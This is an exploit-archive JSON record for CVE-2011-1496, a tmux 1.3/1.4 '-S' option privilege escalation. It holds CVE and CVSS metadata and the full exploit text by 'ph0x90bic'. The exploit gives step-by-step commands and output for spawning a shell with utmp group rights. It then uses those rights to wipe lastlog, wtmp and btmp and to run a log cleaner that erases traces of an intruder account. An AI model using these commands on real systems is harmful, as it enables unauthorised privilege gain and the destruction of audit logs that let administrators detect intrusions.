{"exploit":{"id":"EDB-17147","name":"tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation","description":"tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation","cves":["CVE-2011-1496"],"author":"ph0x90bic","published":"2011-04-11","platform":"linux","type":"local","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17147","path":"exploits/linux/local/17147.txt","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17147.txt","vulnerabilities":[{"id":"CVE-2011-1496","state":"PUBLISHED","title":null,"titleSource":null,"description":"tmux 1.3 and 1.4 does not properly drop group privileges, which allows local users to gain utmp group privileges via a filename to the -S command-line option.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2011-1496","cvss":{"version":"2.0","baseScore":4.6,"severity":"medium","vectorString":"AV:L/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2011-1496"},"updatedAt":"2024-08-06T22:28:41.659Z","retrievedAt":"2026-11-26T22:08:23.485Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17147.png?v=2","url":"https://exploitbin.com/exploits/EDB-17147","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17147/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17147/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"---------------------------------------\n| Team ph0x90bic proudly presents     |\n| tmux -S 1.3/1.4 local utmp exploit  |\n---------------------------------------\n\n# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability\n# Date: 11.04.2011\n# Author: ph0x90bic\n# Software Link: http://tmux.sourceforge.net/\n# Version: 1.3/1.4\n# Tested on: Linux debian 2.6.26-1-686\n# CVE : CVE-2011-1496\n\n---\n\nINTRODUCTION\n\ntmux 1.3/1.4 contains a privilege escalation vulnerabillity,\nwhich gives you utmp group privileges. This bug is important,\nbecause it is possible to clean logfiles and use logcleaners\nfor btmp, wtmp and lastlog without local root access.\n\n---\n\nEXPLOIT\n\nExecute shell as utmp group\n\n$ tmux -S /tmp/.whateveryouwant -c id\nuid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)\n\n$ tmux -S /tmp/.whateveryouwant -c /bin/sh\n$ id\nuid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)\n\n--\n\nDelete logfiles\n\n$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'\n$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'\n$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'\n\n--\n\nUse logcleaner software\n\n$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username","sha256":"8278b11ce1232de9765a855d64cb6c3ed8d8f5217d45613a670bcbf2b1a8ad8a","bytes":1238,"fetchedAt":"2026-11-26T22:08:17.237Z","encoding":"utf-8 (display only; download retains original bytes)"}